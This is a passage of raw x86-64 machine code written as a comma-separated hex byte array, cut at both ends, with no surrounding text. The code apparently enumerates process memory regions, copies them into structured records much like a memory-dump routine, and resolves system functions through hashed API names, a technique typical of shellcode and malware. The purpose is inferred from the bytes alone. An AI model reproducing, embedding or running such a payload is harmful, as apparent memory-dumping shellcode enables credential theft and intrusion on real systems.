x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0x48,0x89,0x85,0x48,0x01,0x00,0x00,0xE9,0x9C,0x03,0x00,0x00,0x48,0x8D,0x55,0xA0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x0E,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0x48,0x89,0x45,0xA0,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x8B,0x40,0x10,0x89,0x45,0xA8,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x8B,0x80,0x1C,0x02,0x00,0x00,0x89,0x45,0xAC,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x8B,0x80,0x18,0x02,0x00,0x00,0x89,0x45,0xB0,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x8B,0x80,0x14,0x02,0x00,0x00,0x89,0x45,0xB4,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x08,0x00,0x00,0x00,0x00,0xC7,0x85,0x3C,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x48,0x8B,0x45,0xA0,0x48,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x08,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xA8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xAC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xB0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xB4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xB8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xBC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xC0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xC4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xC8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xCC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xD0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xD4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xD8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xDC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xE0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xE4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xE8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xEC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xF0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xF4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xF8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x48,0x8B,0x45,0x00,0x48,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x08,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x48,0x8B,0x45,0x08,0x48,0x89,0x02,0x48,0x8D,0x55,0x20,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB8,0x6C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x19,0xF2,0xFF,0xFF,0x85,0xC0,0x75,0x26,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD1,0x8D,0xFF,0xFF,0x48,0xC7,0x85,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x7A,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x8B,0x00,0x48,0x89,0x85,0x48,0x01,0x00,0x00,0x48,0x83,0xBD,0x48,0x01,0x00,0x00,0x00,0x0F,0x85,0x56,0xFC,0xFF,0xFF,0x8B,0x85,0x9C,0x00,0x00,0x00,0x6B,0xC0,0x6C,0x83,0xC0,0x04,0x89,0x45,0x1C,0x48,0x8D,0x55,0x1C,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x30,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x57,0xF1,0xFF,0xFF,0x48,0x8D,0x95,0x98,0x00,0x00,0x00,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x34,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x33,0xF1,0xFF,0xFF,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0x48,0x81,0xC4,0xD8,0x01,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x8B,0x45,0x18,0x48,0x89,0x45,0xF8,0xEB,0x40,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x08,0x48,0x8B,0x55,0x10,0x48,0x39,0xC2,0x72,0x24,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x08,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x10,0x89,0xC0,0x48,0x01,0xD0,0x48,0x8B,0x55,0x10,0x48,0x39,0xC2,0x73,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x17,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0xB9,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xA0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0x90,0x0F,0x11,0x45,0xA0,0x0F,0x11,0x45,0xB0,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x00,0x4C,0x8D,0x45,0x90,0x8B,0x4D,0xDC,0x48,0x8B,0x55,0xF0,0x48,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x30,0x00,0x00,0x00,0x4D,0x89,0xC1,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x84,0xD8,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x88,0x81,0x01,0x00,0x00,0x48,0x8B,0x45,0x90,0x48,0x89,0x45,0xD0,0x48,0x8B,0x45,0xA8,0x48,0x89,0x45,0xC8,0x48,0x8B,0x55,0xD0,0x48,0x8B,0x45,0xC8,0x48,0x01,0xC2,0x48,0x8B,0x45,0xD0,0x48,0x39,0xC2,0x0F,0x82,0x5C,0x01,0x00,0x00,0x48,0x8B,0x55,0xD0,0x48,0x8B,0x45,0xC8,0x48,0x01,0xD0,0x48,0x89,0x45,0xF0,0x8B,0x45,0xB0,0x3D,0x00,0x10,0x00,0x00,0x0F,0x85,0x18,0x01,0x00,0x00,0x8B,0x45,0xB8,0x3D,0x00,0x00,0x04,0x00,0x0F,0x84,0x10,0x01,0x00,0x00,0x8B,0x45,0xB4,0x83,0xE0,0x01,0x85,0xC0,0x0F,0x85,0x08,0x01,0x00,0x00,0x8B,0x45,0xB4,0x25,0x00,0x01,0x00,0x00,0x85,0xC0,0x0F,0x85,0xFE,0x00,0x00,0x00,0x8B,0x45,0xB4,0x83,0xE0,0x10,0x85,0xC0,0x0F,0x85,0xF6,0x00,0x00,0x00,0x8B,0x45,0xB8,0x3D,0x00,0x00,0x00,0x01,0x75,0x18,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0xD0,0x48,0x89,0xC1,0xE8,0x7B,0xFE,0xFF,0xFF,0x85,0xC0,0x0F,0x84,0xDA,0x00,0x00,0x00,0x48,0x8B,0x05,0x0E,0xC2,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x28,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x07,0xC2,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xC0,0x48,0x83,0x7D,0xC0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xC1,0x00,0x00,0x00,0x48,0x8B,0x45,0xC0,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x55,0xD0,0x48,0x8B,0x45,0xC0,0x48,0x89,0x50,0x08,0x48,0x8B,0x45,0xC0,0x48,0x8B,0x55,0xC8,0x48,0x89,0x50,0x10,0x8B,0x55,0xB0,0x48,0x8B,0x45,0xC0,0x89,0x50,0x18,0x8B,0x55,0xB4,0x48,0x8B,0x45,0xC0,0x89,0x50,0x1C,0x8B,0x55,0xB8,0x48,0x8B,0x45,0xC0,0x89,0x50,0x20,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0x48,0x8B,0x45,0xC0,0x48,0x89,0x45,0xF8,0xEB,0x2C,0x48,0x8B,0x45,0xF8,0x48,0x89,0x45,0xE0,0xEB,0x0B,0x48,0x8B,0x45,0xE0,0x48,0x8B,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x8B,0x00,0x48,0x85,0xC0,0x75,0xE9,0x48,0x8B,0x45,0xE0,0x48,0x8B,0x55,0xC0,0x48,0x89,0x10,0x83,0x45,0xEC,0x01,0xE9,0x64,0xFE,0xFF,0xFF,0x90,0xE9,0x5E,0xFE,0xFF,0xFF,0x90,0xE9,0x58,0xFE,0xFF,0xFF,0x90,0xE9,0x52,0xFE,0xFF,0xFF,0x90,0xE9,0x4C,0xFE,0xFF,0xFF,0x90,0xE9,0x46,0xFE,0xFF,0xFF,0x90,0xE9,0x40,0xFE,0xFF,0xFF,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF8,0x48,0x81,0xC4,0xA0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x78,0x48,0x8D,0x6C,0x24,0x70,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x48,0x8B,0x45,0x20,0x8B,0x40,0x10,0x89,0x45,0xE0,0x48,0x8B,0x55,0x28,0x48,0x8B,0x45,0x20,0x48,0x89,0xC1,0xE8,0xB3,0xFD,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x76,0x03,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xF8,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xEB,0x17,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC0,0x01,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0xE2,0x48,0x8D,0x55,0xD8,0x48,0x8B,0x45,0x20,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x57,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x12,0x8A,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x09,0x03,0x00,0x00,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC0,0x01,0x48,0xC1,0xE0,0x04,0xBA,0xFF,0xFF,0xFF,0xFF,0x48,0x39,0xC2,0x73,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD9,0x89,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xD0,0x02,0x00,0x00,0x48,0x8B,0x45,0xD8,0x83,0xC0,0x01,0xC1,0xE0,0x04,0x89,0x45,0xD4,0x8B,0x45,0xE0,0x89,0xC2,0x8B,0x45,0xD4,0x89,0xC0,0x48,0x01,0xD0,0x48,0x89,0x45,0xC8,0x48,0x8D,0x55,0xC8,0x48,0x8B,0x45,0x20,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC3,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x7E,0x89,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x75,0x02,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xF8,0xE9,0x8D,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8D,0x50,0x08,0x48,0x8B,0x45,0x20,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x75,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x30,0x89,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x27,0x02,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8D,0x50,0x10,0x48,0x8B,0x45,0x20,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x34,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xEF,0x88,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xE6,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x0F,0x85,0x68,0xFF,0xFF,0xFF,0x48,0x8D,0x55,0xD4,0x48,0x8B,0x45,0x20,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x3C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x90,0xEC,0xFF,0xFF,0x48,0x8D,0x55,0xE0,0x48,0x8B,0x45,0x20,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x40,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x72,0xEC,0xFF,0xFF,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xF8,0xE9,0x78,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x58,0x10,0x48,0x8B,0x05,0xD6,0xBE,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD2,0xBE,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x4D,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x48,0x10,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x08,0x49,0x89,0xC2,0x48,0x8B,0x45,0x20,0x48,0x8B,0x00,0x48,0x8B,0x55,0xE8,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0x89,0xD0,0x4C,0x89,0xD2,0x48,0x89,0xC1,0xE8,0xD2,0xD2,0xFF,0xFF,0x89,0x45,0xE4,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x10,0xBA,0xFF,0xFF,0xFF,0xFF,0x48,0x39,0xC2,0x73,0x0D,0x48,0x8B,0x45,0xF8,0xBB,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0x58,0x10,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x10,0x89,0xC1,0x48,0x8B,0x55,0xE8,0x48,0x8B,0x45,0x20,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xFD,0xEB,0xFF,0xFF,0x85,0xC0,0x75,0x6C,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB8,0x87,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xE8,0x00,0x74,0x45,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x10,0x48,0x8B,0x45,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFC,0x1B,0x00,0x00,0x48,0x8B,0x05,0xED,0xBD,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xED,0xBD,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x66,0x48,0x83,0x7D,0xE8,0x00,0x74,0x45,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x10,0x48,0x8B,0x45,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA9,0x1B,0x00,0x00,0x48,0x8B,0x05,0x9A,0xBD,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x9A,0xBD,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x0F,0x85,0x7D,0xFE,0xFF,0xFF,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x78,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xC7,0xEB,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xC4,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x98,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAA,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x7F,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x90,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xEC,0xF1,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x72,0x48,0x8B,0x55,0xF8,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xB9,0xFB,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x20,0x48,0x8B,0x45,0xF8,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x4C,0x86,0xFF,0xFF,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x37,0x48,0x8B,0x45,0xF8,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2C,0x86,0xFF,0xFF,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x13,0x86,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x57,0x48,0x81,0xEC,0x48,0x04,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x60,0x03,0x00,0x00,0x0F,0x11,0x85,0x70,0x03,0x00,0x00,0x66,0x0F,0xD6,0x85,0x80,0x03,0x00,0x00,0xC7,0x85,0xBC,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x58,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xB8,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xB4,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xA0,0x03,0x00,0x00,0x01,0x00,0x00,0x00,0xC7,0x85,0xB0,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x50,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x98,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x95,0x40,0x02,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xB9,0x20,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x89,0xFA,0x89,0x02,0x48,0x83,0xC2,0x04,0x48,0x8D,0x55,0x30,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0x20,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xA8,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0x30,0x48,0x89,0x45,0x28,0x66,0xC7,0x45,0x20,0x00,0x00,0x66,0xC7,0x45,0x22,0x00,0x00,0x48,0xC7,0x85,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x78,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xE8,0x07,0x72,0xFF,0xFF,0x89,0x85,0xA0,0x03,0x00,0x00,0x83,0xBD,0xA0,0x03,0x00,0x00,0x00,0x0F,0x84,0x5F,0x06,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x65,0x45,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB2,0x92,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x07,0xDE,0x4D,0xFF,0x48,0x89,0xC1,0xE8,0xC0,0x90,0xFF,0xFF,0x48,0x89,0x85,0x90,0x03,0x00,0x00,0x48,0x83,0xBD,0x90,0x03,0x00,0x00,0x00,0x0F,0x84,0x26,0x06,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x41,0x45,0x00,0x00,0x48,0x89,0xC1,0xE8,0x76,0x92,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x9C,0xA1,0x07,0x65,0x48,0x89,0xC1,0xE8,0x84,0x90,0xFF,0xFF,0x48,0x89,0x85,0x88,0x03,0x00,0x00,0x48,0x83,0xBD,0x88,0x03,0x00,0x00,0x00,0x0F,0x84,0xED,0x05,0x00,0x00,0xC7,0x45,0x1C,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x88,0x03,0x00,0x00,0xFF,0xD0,0x48,0x89,0xC1,0x48,0x8D,0x45,0x1C,0x4C,0x8B,0x85,0x90,0x03,0x00,0x00,0x48,0x89,0xC2,0x41,0xFF,0xD0,0x48,0x89,0x85,0xA8,0x03,0x00,0x00,0x48,0x83,0xBD,0xA8,0x03,0x00,0x00,0x00,0x0F,0x84,0xB7,0x05,0x00,0x00,0x8B,0x45,0x1C,0x85,0xC0,0x0F,0x84,0xAC,0x05,0x00,0x00,0xC7,0x85,0xA4,0x03,0x00,0x00,0x01,0x00,0x00,0x00,0xE9,0x02,0x03,0x00,0x00,0x8B,0x85,0xA4,0x03,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x15,0xB4,0x44,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x08,0xBB,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x74,0x34,0x8B,0x85,0xA4,0x03,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x